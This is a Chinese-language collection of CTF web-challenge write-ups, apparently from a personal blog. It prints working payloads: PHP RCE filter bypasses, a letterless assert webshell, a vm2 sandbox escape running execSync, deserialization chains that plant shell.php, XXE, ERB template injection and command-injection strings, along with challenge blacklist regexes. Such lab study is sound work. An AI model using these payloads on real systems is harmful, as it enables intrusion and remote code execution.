preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
|
php特性绕过
-
$_SERVER关键词绕过
$_SERVER不会进行urldecode,所以用16进制url编码绕一下就行
-
preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute'
绕过
在字符串后加%0a换行符即可
-
$_REQUEST绕过
$_REQUEST默认先查找get参数,若post也有此参数则替换,所以在再post传一遍参数并且不赋值即可
-
sha1绕过
数组绕过
-
create_function注入
create_function('','}require(php://filter/read=convert.base64-encode/resource=flag.php)//');
等同于
function (){}require(php://filter/read=convert.base64-encode/resource=flag.php)//;
会绕过执行代码
利用反写绕过读到flag.php
读rea1fl4g.php拿到flag
最终payload
1
2
3
4
5
6
7
8
9
10
|
GET:
1nD3x.php?%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69n%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d
&%64%65%62%75=%61%71%75%61_%69%73_%63%75%74%65%0a
&%73%68%61n%61[]=1
&%70%61%73%73%77%64[]=2
&%66%6c%61%67%5b%63%6f%64%65%5d=create_function
&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
));//
POST:
file=&debu=
|
[HFCTF2020]JustEscape
考点:vm2沙箱逃逸,js绕过关键字过滤(数组或模版字符串拼接
进去之后提示运行代码,看一下run.php出源码
尝试输入报错发现不是php,根据保存信息判断是node
看一下报错信息确认采用vm2
找了一个vm2沙箱逃逸脚本
1
2
3
4
5
6
7
8
|
(() => {
TypeError.prototype.get_process = f=>f.constructor("return process")();
try {
Object.preventExtensions(Buffer.from("")).a = 1;
} catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
})()
|
发现被过滤,数组绕过成功执行
读根目录flag成功ac
[网鼎杯 2020 半决赛]AliceWebsite
考点:任意文件读取
测试发现存在任意文件读取,尝试读根目录flag ac
[GXYCTF2019]StrongestMind
考点:爬虫
进去之后告诉算对1000次给flag
写个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import requests_html
if __name__ == '__main__':
session = requests_html.HTMLSession()
result = 0
url = "http://33c930a7-0b81-4abe-88d9-c59a02ee007e.node4.buuoj.cn:81/"
for i in range(1005):
while True:
post = session.post(url, data={'answer': result})
if post.status_code != 429:
break
post.encoding = 'utf-8'
print(post.text)
c = post.html.xpath('//center/text()')[-1]
result = eval(c)
|
[SUCTF 2018]GetShell
考点:php无字母webshell
文件上传题
进去看到代码
从第五位过滤文件内容,测试发现过滤了数字字母以及一些符号
汉字取反绕过
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]); //assert($_POST[_]);
|
进入页面,在phpinfo里发现flag
October 2019 Twice SQL Injection
考点:二次注入
测试发现注入点在注册的username处,回显在index页面
没啥绕过直接拿到flag
[b01lers2020]Life on Mars
考点:sql注入
抓包发现疑似注入点
测试search部分发现存在注入,可利用union select 将查询结果拼接结果
查表发现没有可利用的
直接查库发现有其他数据库
在其中查出flag
[GKCTF 2021]easycms
第一次做cms题
admin.php直接进后台
题目提示密码为五位弱口令
admin, 12345直接进后台。。
找一下发现文件写入位置
保存提示
找到文件上传位置,跳目录上传成功
可以修改文件
在根目录读到flag ac
[MRCTF2020]Ezaudit
考点:mt_rand伪随机数,sql注入
进去之后www.zip爆出文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
|
看一下逻辑:mt_rand伪随机数生成公钥和私钥,公钥给了,正确密码给flag,可以直接union绕过
用php_mt_seed跑一下出种子
跑源码出私钥,并且公钥也符合
union查一下出flag
[极客大挑战 2020]Roamphp1-Welcome
考点:php代码审计
进去之后提示页面错误
测试其他页面发现也没有
抓包post发发现源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
|
数组绕过在phpinfo里拿到flag
真题则是在phpinfo中发现提示
flag在请求此页面的相应头中
[CSAWQual 2019]Web_Unagi
考点:xml实体注入编码绕过
进去之后告诉flag位置
并且有文件上传点,但仅允许上传xml类型文件,通过waf严格过滤格式内容
上网查一下绕过
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
利用
1
|
cat sample.xml | iconv -f UTF-8 -t UTF-16BE > sample16.xml
|
将文件payload专程utf-16BE进行上传
显示位数不够,报错外带
[GYCTF2020]Easyphp
考点:php反序列化字节逃逸
进去是个登录页面
目录中下来一个www.zip
看一下逻辑:update中存在入口,lib中存在反序列化
构造payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?php
class User
{
public $id;
public $age=null;
public $nickname=null;
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token="admin";
}
$u = new User();
$i = new Info();
$uh = new UpdateHelper();
$d = new dbCtrl();
$uh->sql = $u;
$u->nickname = $i;
$i->CtrlCase = $d;
echo serialize($uh);
|
得到序列化字符串:
1
|
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
|
构造:
1
|
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
|
执行出密码(md5
解密进去拿到flag
ac
[SCTF2019]Flag Shop
考点:ruby EBR模版注入,ruby读取最后一次匹配内容
进来之后让买flag,但💰不够,工作可以加钱但一次就几块,跑脚本不现实,用jwt认证用户,密钥没跑出来
信息收集一下,在robots.txt发现提示
访问拿到源码(ruby,没学过凑活看看
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end
|
似乎存在模版注入,查了一下,属于ERB模版注入,但不会利用
看了一下wp,要利用SECRET匹配那里,读取全局最后一次匹配的内容,就能输出密钥
payload:
1
|
/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
|
编码后发包,弹密钥
构造jwt发包解码拿到flag
涉及到ruby的语法知识,这个要补充
[WMCTF2020]Make PHP Great Again
考点:php require_once绕过
进去之后就一段简单的代码
1
2
3
4
5
6
|
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
|
解法1:session.upload_progress.cleanup = on竞争上传临时session文件
参考
解法2:绕过机制
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php')
,已经include的文件不可以再require_once
所以思路就是改变路径
linux中/proc/self,指向当前进程,/proc/self/root指向/,可以用多几目录绕过。/proc/self/cwd目录下是当前用户目录,解析后仍然是本目录,可以利用目录报错/aa/../../prco/self/cwd/flag.php
[强网杯 2019]Upload
考点:php反序列化
进去是个登录注册页面,先注册进去,页面跳转时显示如下,猜测为thinkphp
进去之后有文件上传口,测试发现将上传文件保存为新的png格式文件
抓包看一下发现cookie为序列化字符串
尝试直接修改,无果
因为存在序列化,尝试目录扫描,发现www.tar.gz
拿到源码,看一下逻辑
cookie存在序列化因此可作为反序列化注入点
几个敏感位置
构造逻辑:
register的__destruct函数为入口,令其checker为Profile
进入Profile中执行__call函数,访问不存在方法index又会进入__get方法,except可控,令其index参数为upload_img,再自定义相关参数绕过函数中对于文件判断,直接copy已经上传的内容为一句话的png文件,重命名为自定义php文件,成功getshell
payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
namespace app\web\controller;
class Profile
{
public $checker = 0;
public $filename_tmp = '../public/upload/c47b21fcf8f0bc8b3920541abd8024fd/25a452927110e39a345a2511c57647f2.png';
public $filename = '../public/upload/c47b21fcf8f0bc8b3920541abd8024fd/shell.php';
public $upload_menu;
public $ext = 1;
public $img;
public $except = array("index" => "upload_img");
}
class Register
{
public $checker;
public $registed = 0;
}
$r = new Register();
$p = new Profile();
$p->checker = 0;
$r->checker = $p;
echo base64_encode(serialize($r));
|
蚁剑连ac
[ISITDTU 2019]EasyPHP
考点:php rce绕过(最近php异或绕过的题有点多
短代码审计题
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
|
两个判断:
第一个过滤一些字符
第二个控制输入字符种类小于13
取反绕过拿到phpinfo,没有flag信息
发现禁用了很多函数
可以用print_r(scandir())
读目录,但要绕过字符种类限制
用两个其他字符异或可以得到我想要的字符,那么也可以用已有字符异或构成其他字符从而减少字符种类总数
写了个脚本跑一下在里面找目标字符
测试发现a = c^p^r, d = s^c^t, n = i^s^t
用异或可执行命令print_r(scandir(.))
读当前目录,发现可疑文件
1
|
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
|
文件直接访问403,用readfile(end(scandir(.)))
读目录数组最后一位
1
|
((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
|
ac
[HarekazeCTF2019]Avatar Uploader 1
进去让输姓名,输一个进去有一个上传口
测试半天没有路子,看wp原题是给源码的,直接看源码。。
上传代码有直接弹flag位置
关键代码
看一下逻辑:通过finfo_file获取文件类型,而此函数通过文件头部信息获取文件类型。下部分通过getimagesize函数获取图片文件信息,判断如果不是png文件,就弹flag
思路就有了:上传一个非png文件,通过hex伪造文件头
png文件头16进制:89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
随便上传一个文件修改hex ac
[极客大挑战 2020]Greatphp
考点:php代码分析、eval函数会调用类的__toString方法
进去之后给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
|
看一下逻辑:
反序列化接受参数,存在比较判断,可用数组绕过,可是需要执行输入内容所以数组不行
这里学到sha1(), md5(), eval()
在执行时如果穿进去的是类都会调用类中__toString
方法,因此用内置带__toString
但Error类执行__toString后是这样的
因此要构造闭合才可执行。取反绕过过滤
因为过滤括号,所以直接尝试include ‘/flag’,拿到flag
Payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode(urlencode(~'/flag'))."?>";
$a = new SYCLOVER();
$a->syc = new Error($str, 1);$a->lover = new Error($str, 2);
$b = serialize($a);
echo urlencode($b);
?>
|
ac
[FireshellCTF2020]Caas
考点:c语言预处理
进去之后是个代码编译框
随便输入弹报错,是c语言的报错,推测是个处理c语言的编译器
c语言输入尝试,下载下来个东西
c语言有一个include包含文件功能,尝试包含/etc/passwd,报错但显示内容
尝试包含/flag,被检测
换双引号包含成功
ac
[N1CTF 2018]eating_cms
考点:cms, php伪协议, parse_url绕过, php代码审计
进去之后是登录页面,register.php直接进注册页面,先注册一个进去
进去是个cms
页面中没什么注意的地方,url通过page检索页面
尝试伪协议拿到源码
测试其他页面拿到其他源码。在function.php中有发现
parse_url绕过即可,拿到ffffllllaaaaggg内容
根据提示进入,发现文件上传位置
上传马成功但不知道传到哪,伪协议读一下上传源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
|
看一下逻辑:文件上传并system命令调用文件base64显示,然后删除非白名单后缀文件
filename可控因此可以执行任意命令
查看当前目录没什么东西
不能用斜杠因此读一下上层目录,发现flag_233333
读一下拿到flag
ac
EasyBypass
考点:php代码审计
进去之后给源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
highlight_file(__FILE__);
$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];
if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";
$flag = "#flag in /flag";
$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';
$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)
|
绕过直接ac
Payload:
1
|
?comm1=";tac /fla?"&comm2=
|
[BSidesCF 2019]SVGMagic
考点:xxe svg格式注入
进去之后有个文件上传,将上传的svg转png
直接抓包xxe注入
flag不在根目录,尝试读取当前目录/proc/self/cwd/flag.txt拿到flag